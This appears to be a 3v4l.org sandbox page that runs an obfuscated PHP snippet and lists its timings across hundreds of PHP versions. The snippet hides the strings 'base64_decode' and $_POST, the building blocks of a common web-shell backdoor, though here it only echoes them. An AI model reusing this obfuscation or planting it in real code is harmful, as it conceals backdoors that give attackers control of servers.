3v4l.org

run code in 300+ PHP versions simultaneously
<?php $sF="PCT4BA6ODSE_"; $s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]); $s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n13e558']; echo $s21; echo $s22; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00618.68
8.3.50.0080.00722.05
8.3.40.0070.00718.87
8.3.30.0120.00319.10
8.3.20.0040.00420.25
8.3.10.0030.00523.53
8.3.00.0030.00519.25
8.2.180.0120.00616.50
8.2.170.0000.01422.96
8.2.160.0070.00720.52
8.2.150.0000.00724.18
8.2.140.0050.00324.66
8.2.130.0110.00426.16
8.2.120.0070.00022.18
8.2.110.0080.00019.22
8.2.100.0030.01017.88
8.2.90.0000.00819.35
8.2.80.0030.00517.97
8.2.70.0060.00617.50
8.2.60.0040.00417.93
8.2.50.0040.00418.07
8.2.40.0040.00419.89
8.2.30.0000.00718.18
8.2.20.0040.00417.71
8.2.10.0050.00318.04
8.2.00.0040.00417.86
8.1.280.0140.00725.92
8.1.270.0030.00621.96
8.1.260.0040.00426.35
8.1.250.0050.00228.09
8.1.240.0060.00323.79
8.1.230.0030.01019.13
8.1.220.0040.00417.74
8.1.210.0000.00818.77
8.1.200.0060.00317.22
8.1.190.0040.00417.10
8.1.180.0000.00818.10
8.1.170.0030.00518.50
8.1.160.0070.00021.93
8.1.150.0040.00418.87
8.1.140.0050.00317.45
8.1.130.0040.00417.82
8.1.120.0000.00717.49
8.1.110.0030.00517.34
8.1.100.0050.00217.47
8.1.90.0070.00017.34
8.1.80.0040.00417.43
8.1.70.0030.00517.34
8.1.60.0030.00517.60
8.1.50.0060.00317.41
8.1.40.0020.00517.42
8.1.30.0030.00617.66
8.1.20.0040.00417.67
8.1.10.0040.00417.47
8.1.00.0040.00417.37
8.0.300.0000.00718.77
8.0.290.0000.00716.88
8.0.280.0000.00718.45
8.0.270.0030.00317.17
8.0.260.0000.00717.26
8.0.250.0040.00416.90
8.0.240.0040.00416.91
8.0.230.0070.00016.90
8.0.220.0040.00416.95
8.0.210.0030.00316.87
8.0.200.0000.00717.00
8.0.190.0050.00516.98
8.0.180.0000.00717.04
8.0.170.0080.00016.94
8.0.160.0030.00316.86
8.0.150.0040.00416.93
8.0.140.0000.00716.91
8.0.130.0060.00013.43
8.0.120.0080.00016.82
8.0.110.0040.00416.80
8.0.100.0000.00717.02
8.0.90.0000.00717.05
8.0.80.0060.00916.95
8.0.70.0000.00716.95
8.0.60.0060.00317.02
8.0.50.0080.00016.96
8.0.30.0050.01517.01
8.0.20.0050.01317.40
8.0.10.0050.00317.07
8.0.00.0070.01016.78
7.4.330.0020.00215.00
7.4.320.0000.00616.65
7.4.300.0000.00616.49
7.4.290.0030.00316.40
7.4.280.0000.00816.53
7.4.270.0040.00416.50
7.4.260.0050.00216.54
7.4.250.0020.00516.46
7.4.240.0030.00316.47
7.4.230.0040.00416.61
7.4.220.0110.01016.54
7.4.210.0070.00716.53
7.4.200.0000.00716.45
7.4.160.0120.00316.57
7.4.150.0120.00817.40
7.4.140.0100.00917.86
7.4.130.0120.00516.55
7.4.120.0070.01216.49
7.4.110.0070.01016.38
7.4.100.0140.00716.63
7.4.90.0120.01116.59
7.4.80.0120.00919.39
7.4.70.0090.00616.74
7.4.60.0030.01316.48
7.4.50.0030.00616.32
7.4.40.0160.00416.59
7.4.30.0080.00816.63
7.4.00.0130.00314.95
7.3.330.0000.00613.38
7.3.320.0000.00513.31
7.3.310.0030.00316.25
7.3.300.0030.00316.48
7.3.290.0140.00616.34
7.3.280.0060.01116.42
7.3.270.0150.00317.40
7.3.260.0090.00616.54
7.3.250.0120.00416.42
7.3.240.0130.00616.58
7.3.230.0100.00716.39
7.3.210.0130.00316.38
7.3.200.0060.00919.39
7.3.190.0090.00816.70
7.3.180.0160.00016.29
7.3.170.0090.01616.27
7.3.160.0080.00816.46
7.2.330.0180.00016.41
7.2.320.0070.01016.75
7.2.310.0100.00616.23
7.2.300.0110.00816.39
7.2.290.0060.01116.29
7.2.60.0160.01216.41
7.2.00.0000.01119.55
7.1.200.0160.00615.89
7.1.100.0060.00618.07
7.1.70.0060.00317.25
7.1.60.0090.01619.11
7.1.50.0000.01116.79
7.1.00.0030.07722.43
7.0.200.0030.00616.85
7.0.140.0130.06322.16
7.0.60.0100.07319.95
7.0.50.0130.07717.82
7.0.40.0070.07320.25
7.0.30.0130.04720.17
7.0.20.0200.07320.04
7.0.10.0170.08020.33
7.0.00.0000.05020.16
5.6.280.0000.07720.88
5.6.210.0170.06720.56
5.6.200.0100.06018.16
5.6.190.0030.07320.45
5.6.180.0200.04320.41
5.6.170.1170.04020.51
5.6.160.0070.07720.50
5.6.150.0030.06718.14
5.6.140.0000.06318.10
5.6.130.0100.05018.16
5.6.120.0170.07320.93
5.6.110.0130.07321.13
5.6.100.0070.04721.00
5.6.90.0100.06021.10
5.6.80.0070.03720.42
5.5.350.0170.08320.38
5.5.340.0030.04317.96
5.5.330.0030.05720.41
5.5.320.0270.07720.17
5.5.310.0330.07020.29
5.5.300.0030.04018.02
5.5.290.0030.05317.91
5.5.280.0030.08320.87
5.5.270.0070.05720.86
5.5.260.0000.04320.76
5.5.250.0100.07720.61
5.5.240.0230.03020.07
5.4.450.0500.02019.42
5.4.440.0270.03719.13
5.4.430.0230.07319.24
5.4.420.0300.05719.22
5.4.410.0400.04019.10
5.4.400.0030.05719.14
5.4.390.0230.07019.13
5.4.380.0230.07319.05
5.4.370.0170.07019.06
5.4.360.0130.07718.88
5.4.350.0270.05718.82
5.4.340.0170.06318.81
5.4.320.0200.06719.08
5.4.310.0270.06319.10
5.4.300.0230.06019.18
5.4.290.0170.07718.80
5.4.280.0130.04019.13
5.4.270.0230.06718.79
5.4.260.0200.03719.09
5.4.250.0200.07718.87
5.4.240.0230.07319.04
5.4.230.0200.04319.07
5.4.220.0270.06719.09
5.4.210.0100.05318.88
5.4.200.0200.03319.23
5.4.190.0100.05719.24
5.4.180.0200.04019.07
5.4.170.0200.03718.92
5.4.160.0230.03719.11
5.4.150.0200.03318.89
5.4.140.0130.03716.55
5.4.130.0170.03316.27
5.4.120.0070.04016.29
5.4.110.0130.03316.39
5.4.100.0270.03016.20
5.4.90.0130.04716.43
5.4.80.0100.03716.32
5.4.70.0230.02316.42
5.4.60.0130.03316.36
5.4.50.0100.03716.36
5.4.40.0100.04716.20
5.4.30.0100.03716.46
5.4.20.0170.03016.04
5.4.10.0030.04316.38
5.4.00.0170.03015.70
5.3.290.0070.05714.61
5.3.280.0330.06314.64
5.3.270.0100.04714.46
5.3.260.0200.05714.43
5.3.250.0200.04314.43
5.3.240.0100.04014.48
5.3.230.0070.04314.44
5.3.220.0130.03714.50
5.3.210.0200.03014.43
5.3.200.0200.05014.61
5.3.190.0230.04314.44
5.3.180.0170.03314.53
5.3.170.0030.04314.44
5.3.160.0100.03714.52
5.3.150.0100.03714.61
5.3.140.0170.03714.41
5.3.130.0170.04014.53
5.3.120.0100.03714.48
5.3.110.0100.04014.49
5.3.100.0130.03714.06
5.3.90.0130.03314.11
5.3.80.0170.03013.85
5.3.70.0130.03314.04
5.3.60.0200.03013.95
5.3.50.0030.04313.74
5.3.40.0130.04013.97
5.3.30.0170.03713.74
5.3.20.0170.03013.64
5.3.10.0170.03713.70
5.3.00.0100.03713.48
5.2.170.0170.02013.44
5.2.160.0100.02713.44
5.2.150.0130.02713.44
5.2.140.0100.03313.44
5.2.130.0100.03713.44
5.2.120.0130.02313.44
5.2.110.0130.02313.44
5.2.100.0100.03313.44
5.2.90.0130.02313.44
5.2.80.0070.03013.44
5.2.70.0130.02713.44
5.2.60.0100.03713.44
5.2.50.0170.04013.44
5.2.40.0170.06013.44
5.2.30.0100.04713.44
5.2.20.0130.04013.44
5.2.10.0130.03013.44
5.2.00.0070.04713.44
5.1.60.0170.02713.44
5.1.50.0270.04013.44
5.1.40.0200.02713.44
5.1.30.0200.04013.44
5.1.20.0170.02713.44
5.1.10.0130.04713.44
5.1.00.0130.04713.44
5.0.50.0070.04313.44
5.0.40.0100.03313.44
5.0.30.0070.03713.44
5.0.20.0170.03713.44
5.0.10.0070.04313.44
5.0.00.0100.05313.44
4.4.90.0070.01713.44
4.4.80.0070.02013.44
4.4.70.0070.03313.44
4.4.60.0100.02713.44
4.4.50.0030.01713.44
4.4.40.0100.04313.44
4.4.30.0070.02313.44
4.4.20.0100.01313.44
4.4.10.0070.03313.44
4.4.00.0070.03713.44
4.3.110.0100.01313.44
4.3.100.0100.02713.44
4.3.90.0070.03013.44
4.3.80.0070.03713.44
4.3.70.0130.01713.44
4.3.60.0100.02313.44
4.3.50.0070.02713.44
4.3.40.0030.03013.44
4.3.30.0100.01313.44
4.3.20.0100.01713.44
4.3.10.0000.03713.44
4.3.00.0070.03313.44

preferences:
46.92 ms | 401 KiB | 5 Q